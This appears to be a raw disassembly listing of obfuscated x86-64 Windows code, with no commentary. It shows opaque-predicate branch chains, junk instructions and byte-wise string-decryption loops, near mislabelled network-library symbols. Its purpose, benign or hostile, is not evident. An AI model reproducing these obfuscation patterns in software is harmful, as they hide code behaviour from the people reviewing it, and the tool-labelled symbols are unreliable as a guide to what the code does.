cmp r8, rax
jb 0x140094d08
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140094fce
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140094f71
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140094f20
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140094eed
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140094b50
lea r8, [r9 + 0x7a]
lea r9, [r8 + 6]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140094eb9
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140094e96
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140094e6e
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140094e36
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140094e13
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140094deb
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140094dbd
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140094d91
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140094d6e
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140094b50
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0xa]
jmp 0x140094b50
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140094b40
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2a
jmp 0x140094ac0
movabs rcx, 0x39634a2c2954a85a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
movabs rdx, 0xcd399fd69bcd6d56
jmp 0x140094a5e
movabs rcx, 0xadd0e4d63ecfc070
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x14009551a
movabs rcx, 0x135da5290734e5c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
inc r9
dec rdi
inc rdi
jmp 0x140094a42
movabs rdx, 0x78ea657bcf9a0b18
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140094a42
movabs rdx, 0xde7725ce97ff306c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009556d
movabs rcx, 0x4403e621606455c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
jmp 0x140095596
movabs rdx, 0xa990a67428c97b14
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140094a42
movabs rdx, 0xf1d66c6f12ea068
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400955d4
movabs rcx, 0x74aa2719b993c5bc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
jmp 0x140095633
movabs rcx, 0xda36e76c81f8eb10
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
movzx eax, byte [rbp + rdi + 0x830]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140094a42
movabs rdx, 0xd816c83b76f5c862
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0x830], r11b
inc rdi
jmp 0x140094a42
movabs rdx, 0x3da3888e3f5aedb6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 0x61
jb 0x140094f10
movabs rdx, 0xc4f5af8213d99044
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14009551a
movabs rcx, 0xa33048e107c0130a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x46
cmp r8, 2
jae 0x1400953e7
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x14009533f
movabs rdx, 0xbc7532bde7cd058c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140094f43
movabs rdx, 0x8bd0933d025385e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x140095417
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400952d4
movabs rcx, 0xe6bb16231ff30d7e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x72
jmp 0x140094f8f
movabs rcx, 0x25caba0af1bd054
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
movzx eax, byte [rbp + rdi + 0x830]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140094a42
movabs rdx, 0x67e96bf37780f5a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140095633
movabs rdx, 0xcd762c463fe61afc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400955d4
movabs rcx, 0x3302ec99084b4050
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140094a42
movabs rcx, 0x988facebd0b065a4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7c
jmp 0x140095596
movabs rdx, 0xfe1c6d3e99158af8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009556d
movabs rcx, 0x63a92d91617ab04c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x14
dec rdi
inc rdi
jmp 0x140094a42
movabs rcx, 0xc935ede429dfd5a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
inc r9
dec rdi
inc rdi
jmp 0x140094a42
movabs rdx, 0x2ec2ae36f244faf4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009551a
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1400951de
movabs rcx, 0xcd399fd69bcd6d56
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5a
jmp 0x140094ff1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140095224
movabs rdx, 0xab7439358fb3f01c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x830]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140094a42
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140095269
movabs rdx, 0x7acdf83d36848020
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140094a42
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400952a4
movabs rdx, 0x4a27b744dd551024
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140094a42
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140094ff1
movabs rcx, 0x7f0e369f4c8ac57c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x14009551a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140095304
movabs rcx, 0x812e55d0578de82a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x26
jmp 0x14009551a
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140094f8f
movabs rdx, 0xb614d52ac6c39d82
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140094a42
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140095385
movabs rdx, 0x56e8726b1f67e038
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x830]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140094a42
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400953b7
movabs rdx, 0x8bcef1c58e9d9590
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400955d1
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140094f43
movabs rcx, 0x2a826fd4dc3eb598
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x14009551a
movabs rdx, 0x5f68ef2f4b746af0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0x830]
add r11b, dl
add r11b, bl
jmp 0x14009556d
movabs rcx, 0xf9dc2edc830f459c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0x830]
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x1400955d4
movabs rdx, 0x43c759b1bc4ba81a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x830]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140094a42
movabs rcx, 0xa9541a0484b0cd6e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 2
jmp 0x140095633
movabs rdx, 0x746d9aaa157b1816
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140094a42
movabs rcx, 0x3f871b4fa64562be
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
jmp 0x14009556d
movabs rdx, 0x702d5c47ff74d2ba
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x16
add r11b, dl
movabs rcx, 0x922f4f58afa6fd9a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x36
add cl, bl
mov byte [rbp + rdi + 0x830], cl
inc r9
dec rdi
inc rdi
jmp 0x140094a42
movabs rdx, 0x6bed1de5e96e8d5e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x2ca28f05e741d846
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x830], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140094a42
mov rbx, r10
movabs rdx, 0x9c935ede429dfd5a
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x76
add r11b, dl
movabs rdx, 0xc715ceb31edcb2f2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x830], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140095633
movabs rdx, 0x2201f310b0322ae
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx ebx, r10b
movabs rdx, 0x944f6e89baaa2048
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x830], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x830]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140094a42
movabs rcx, 0x67acdf83d3684802
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xe
movzx eax, byte [rbp + rdi + 0x830]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140094a42
movabs rdx, 0x9ef00a7ef1b9cdae
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140094a3e
movabs rcx, 0x47ccad1ba1ef302
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
jmp 0x140094a28
lea rcx, [rbp + 0x1457df8]
jmp 0x14009571a
lea rcx, [rbp + 0x112eb4e]
jmp 0x14009571a
lea rcx, [rbp + 0x830]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x140227ee0]
lea rcx, [rbp + 0x1b8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
mov rsi, rax
mov byte [rbp + 0x858], 0x44
mov byte [rbp + 0x859], 0x68
mov byte [rbp + 0x85a], WSACleanup
mov byte [rbp + 0x85b], 0x77
mov byte [rbp + 0x85c], 0x65
mov byte [rbp + 0x85d], WSASetLastError
mov byte [rbp + 0x85e], 0x65
mov byte [rbp + 0x85f], 0x62
mov byte [rbp + 0x860], Ordinal_45
mov byte [rbp + 0x861], Ordinal_79
mov byte [rbp + 0x862], 0x62
mov byte [rbp + 0x863], WSASetLastError
mov byte [rbp + 0x864], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x865], 0x66
mov byte [rbp + 0x866], recv
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x867], xmm0
mov dword [rbp + 0x877], eax
movabs rdx, 0xb305cd8a570e7800
movabs r14, 0xc62b7afa60c6fc80
movabs r15, 0xdb2cdc7c7c5dd000
movabs r12, 0xa9d104a97625ec00
movzx ebx, byte [rsp + 0x40]
nop word [rax + rax]
mov r9, qword [0x14022e4a8]
mov r10, qword [0x14022e4a0]
nop
xor r11d, r11d
movabs rcx, 0x41911689f052b680
cmp r11, 0x23
jae 0x140096039
movzx r8d, byte [rbp + r11 + 0x858]
mov edi, r8d
cmp r9, r11
ja 0x14009602d
lea rax, [r10 + 1]
cmp r9, rax
jae 0x14009586f
lea rcx, [r11 + r14]
mov eax, r8d
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x80
movabs rcx, 0x41911689f052b680
jmp 0x14009589b
je 0x140095fa5
inc rax
cmp r9, rax
je 0x140095f35
lea rax, [r10 + 4]
cmp r9, rax
je 0x140095f0b
lea rax, [r10 + 2]
cmp r9, rax
je 0x140095eae
nop dword [rax + rax]
cmp r10, r11
ja 0x140096021
lea rax, [r10 + 1]
cmp r9, rax
jae 0x1400958d1
add rcx, r11
movzx eax, r8b
and al, cl
add al, al
movzx ebx, r8b
sub bl, al
add bl, 0x80
add bl, cl
jmp 0x1400958fd
je 0x140095e9f
inc rax
cmp r9, rax
je 0x140095e72
lea rax, [r10 + 7]
cmp r9, rax
je 0x140095e19
lea rax, [r10 + 2]
cmp r9, rax
je 0x140095df8
nop dword [rax]
lea rax, [r9 + r10]
cmp rax, r11
jbe 0x140095ab5
nop dword [rax]
lea rax, [r10 + 0x64]
cmp r9, rax
je 0x140095a95
lea rax, [r10 + 0x41]
cmp r9, rax
je 0x140095a74
lea rax, [r10 + 8]
cmp r9, rax
je 0x140095a52
lea r9, [r10 + 3]
lea r10, [r9 + 0x64]
lea rax, [r10 + 0x20]
cmp r9, rax
jb 0x140095ffe
lea rax, [r10 + 3]
cmp r9, rax
jb 0x140095fda
lea rax, [r10 + 0x1000]
cmp r9, rax
jb 0x140095a23
lea r9, [r10 + 0x5a]
lea r10, [r9 + 0x1000]
lea rax, [r10 + 8]
cmp r9, rax
ja 0x1400959f9
lea rax, [r10 + 0x5a]
cmp r9, rax
ja 0x1400959d9
lea rax, [r10 + 0x80]
cmp r9, rax
ja 0x1400959b1
lea r9, [r10 + 0x1000]
lea r10, [r9 + 0x80]
jmp 0x140095910
lea rbx, [r11 + r15]
movzx eax, bl
and al, r8b
add al, al
sub bl, al
add bl, r8b
add r9, r10
movzx eax, bl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140095813
movabs rdx, 0x3627fa9e37b3e500
add rdx, r11
movzx ecx, r8b
and cl, dl
add cl, cl
movzx ebx, r8b
sub bl, cl
jmp 0x140095f53
lea rcx, [r11 + r12]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
movzx eax, byte [rbp + r11 + 0x858]
add rax, r10
add r11, rax
inc r11
jmp 0x140095813
movabs rcx, 0xcaf79dc59242fd80
add rcx, r11
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
mov byte [rbp + r11 + 0x858], bl
inc r11
jmp 0x140095813
movabs rdx, 0xcbb3b973da2a6a00
add rdx, r11
movzx ecx, r8b
and cl, dl
add cl, cl
movzx ebx, r8b
sub bl, cl
add bl, dl
jmp 0x140095d85
lea rcx, [r11 + rdx]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
inc r10
dec r11
inc r11
jmp 0x140095813
movabs rdx, 0x26aed79595807f00
add rdx, r11
movzx ecx, r8b
and cl, dl
add cl, cl
movzx ebx, r8b
sub bl, cl
jmp 0x140095ecc
lea rax, [r10 + 1]
cmp r9, rax
jae 0x140095b81
lea rdx, [r11 + r14]
movzx eax, r8b
and al, dl
add al, al
movzx ebx, r8b
sub bl, al
add dl, 0x80
add bl, dl
movabs rdx, 0xb305cd8a570e7800
lea rax, [r9 + r10]
cmp rax, 0x42
je 0x140095dd0
lea rax, [r10 + 0x10]
cmp r9, rax
jbe 0x140095c1b
movabs rdx, 0x385c4da90f6a2a80
add rdx, r11
movzx eax, r8b
and al, dl
add al, al
movzx ebx, r8b
sub bl, al
add bl, 0x80
add bl, dl
cmp r9, 0x10
jae 0x140095d65
lea rax, [r10 + 6]
cmp r9, rax
jbe 0x140095c93
movabs rdx, 0x79ed6432ffbce100
add rdx, r11
movzx ecx, r8b
and cl, dl
add cl, cl
movzx ebx, r8b
sub bl, cl
add bl, dl
cmp r10, 0x64
jb 0x140095d4b
movabs rdx, 0xf552ffc28f489b00
add rdx, r11
movzx eax, r8b
and al, dl
add al, al
movzx ecx, r8b
sub cl, al
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140095ece
jne 0x140095bba
movabs rcx, 0x83222d13e0a56d00
add rcx, r11
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
movzx eax, byte [rbp + r11 + 0x858]
add rax, r10
add r11, rax
inc r11
jmp 0x140095813
lea rax, [r10 + 3]
cmp r9, rax
jne 0x140095be7
movabs rdx, 0x9bd018fd63c15f00
add rdx, r11
movzx ecx, r8b
and cl, dl
add cl, cl
movzx ebx, r8b
sub bl, cl
jmp 0x140095e37
lea rax, [r10 + 7]
cmp r9, rax
jne 0x140095ae3
movabs rcx, 0xcd2bf0d069f94300
add rcx, r11
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
dec r11
inc r11
jmp 0x140095813
lea rax, [r10 + 1]
cmp r9, rax
jne 0x140095c37
movabs rdx, 0xc4b3439dd0f82380
jmp 0x140095eb8
lea rax, [r10 + 3]
cmp r9, rax
jne 0x140095c53
movabs rcx, 0xdd612f8754141580
jmp 0x140095f15
lea rax, [r10 + 5]
cmp r9, rax
jne 0x140095b1e
movabs rcx, 0x8266116598be0080
add rcx, r11
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
movzx eax, bl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140095813
lea rax, [r10 + 1]
cmp r9, rax
jne 0x140095cdd
movabs rcx, 0x6445a27c14ada00
add rcx, r11
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
movabs rdx, 0xb305cd8a570e7800
movzx eax, byte [rbp + r11 + 0x858]
add rax, r10
add r11, rax
inc r11
jmp 0x140095813
lea rax, [r10 + 3]
cmp r9, rax
jne 0x140095d0a
movabs rdx, 0x1ef246114466cc00
add rdx, r11
movzx ecx, r8b
and cl, dl
add cl, cl
movzx ebx, r8b
sub bl, cl
jmp 0x140095e37
lea rax, [r10 + 5]
cmp r9, rax
jne 0x140095b52
movabs rcx, 0xdca513d90c2ca900
add rcx, r11
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
movabs rdx, 0xb305cd8a570e7800
inc r10
dec r11
inc r11
jmp 0x140095813
movabs rdx, 0xb305cd8a570e7800
mov byte [rbp + r11 + 0x858], bl
inc r11
jmp 0x140095813
movabs rdx, 0x81a9f5b750d69400
add rdx, r11
movzx eax, dl
and al, r8b
add al, al
movzx ebx, r8b
sub bl, al
add bl, dl
add bl, r8b
movabs rcx, 0x47d570b1b19d9080
add rcx, r11
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
add r8b, 0x80
add r8b, cl
add r8b, bl
mov byte [rbp + r11 + 0x858], r8b
movabs rdx, 0xb305cd8a570e7800
add r9, r10
movzx eax, bl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140095813
movabs rdx, 0xe00ebac12648d00
add rdx, r11
movzx eax, r8b
and al, dl
add al, al
movzx ebx, r8b
sub bl, al
sub bl, byte [rbp + r11 + 0x858]
jmp 0x140095e37
movabs rcx, 0x309fbc24be507780
add rcx, r11
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140095fc0
movabs rdx, 0x17f1d03b3b348580
add rdx, r11
movzx eax, r8b
and al, dl
add al, al
movzx ebx, r8b
sub bl, al
add bl, 0x80
add bl, dl
movabs rdx, 0xd42c66a6732b8980
add rdx, r11
movzx eax, r8b
and al, dl
add al, al
movzx ecx, r8b
sub cl, al
add cl, 0x80
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x858], al
inc r10
add rax, r10
sub r11, rax
jmp 0x140095f55
movabs rcx, 0x5a3f0273736ea880
add rcx, r11
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
inc r10
dec r11
inc r11
jmp 0x140095813
movabs rdx, 0xcde80c7eb1e0af80
jmp 0x140095eb8
movabs rdx, 0xb53a20952ec4bd80
add rdx, r11
movzx eax, r8b
and al, dl
add al, al
movzx ebx, r8b
sub bl, al
add bl, 0x80
add bl, dl
movabs rcx, 0xbb7e7abcf00f9780
add rcx, r11
movzx eax, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x80
add cl, r8b
mov byte [rbp + r11 + 0x858], cl
movabs rdx, 0xb305cd8a570e7800
inc r10
dec r11
inc r11
jmp 0x140095813
movabs rcx, 0x9c8c34ababa8cb80
add rcx, r11
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
dec r11
inc r11
jmp 0x140095813
movabs rdx, 0xded966e3e3e2ee80
add rdx, r11
movzx eax, dl
and al, dil
add al, al
movzx ebx, dil
sub bl, al
add bl, 0x80
add bl, dl
movabs rcx, 0x9a57e1a0d3f28600
add rcx, r11
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
mov byte [rbp + r11 + 0x858], r8b
inc r9
mov rax, r13
sub rax, r9
add r11, rax
movabs rdx, 0xb305cd8a570e7800
movzx eax, byte [rbp + r11 + 0x858]
add rax, r10
add r11, rax
inc r11
jmp 0x140095813
movabs rcx, 0x528270ef2254f580
add rcx, r11
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
add bl, 0x80
movzx eax, byte [rbp + r11 + 0x858]
add rax, r10
add r11, rax
inc r11
jmp 0x140095813
movabs rcx, 0xf496e41447612e80
add rcx, r11
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x14009580e
movabs rcx, 0x683fee1f85d33580
add rcx, r11
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x1400957f7
lea rcx, [rbp + 0x171ae58]
jmp 0x140096040
lea rcx, [rbp + 0x138aad8]
jmp 0x140096040
lea rcx, [rbp + 0x858]
mov rdx, rsi
call fcn.140035c60
mov byte [rbp + 0x880], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x881], recv
mov byte [rbp + 0x882], 0xf8
mov byte [rbp + 0x883], 0xff
mov byte [rbp + 0x884], 0xf5
mov byte [rbp + 0x885], 0xf3
mov byte [rbp + 0x886], 9
mov byte [rbp + 0x887], 0xf2
mov byte [rbp + 0x888], WSASetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x889], xmm0
mov qword [rbp + 0x899], rax
mov word [rbp + 0x8a1], ax
movabs rsi, 0x3cfb2ae5711f1dc5
movabs r12, 0x646d7bf28b7b62f1
movabs r14, 0x87724cb1bbfeb8db
movabs r15, 0xbe9754cca507f2f9
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140096cd7
movzx ebx, byte [rbp + rdi + 0x880]
mov r10, rbx
cmp r8, rdi
ja 0x140096ccb
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009612a
lea rcx, [rdi + r12]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x69
jmp 0x140096170
je 0x140096c44
inc rax
cmp r8, rax
je 0x140096ba8
lea rax, [r9 + 4]
cmp r8, rax
je 0x140096b72
lea rax, [r9 + 3]
cmp r8, rax
je 0x140096b2a
lea rax, [r9 + 7]
cmp r8, rax
je 0x140096b01
lea rax, [r9 + 2]
cmp r8, rax
je 0x140096ab3
cmp r9, rdi
ja 0x140096cbf
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1400961a4
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x63
add r11b, dl
jmp 0x1400961e0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140096a90
lea rax, [r9 + 3]
cmp r8, rax
je 0x140096a6d
lea rax, [r9 + 4]
cmp r8, rax
je 0x140096a4a
lea rax, [r9 + 6]
cmp r8, rax
je 0x140096a17
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400966b3
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14009668b
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009665f
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140096636
lea rax, [r9 + 6]
cmp r8, rax
je 0x140096613
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400965eb
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400965b3
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400961f0
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x20]
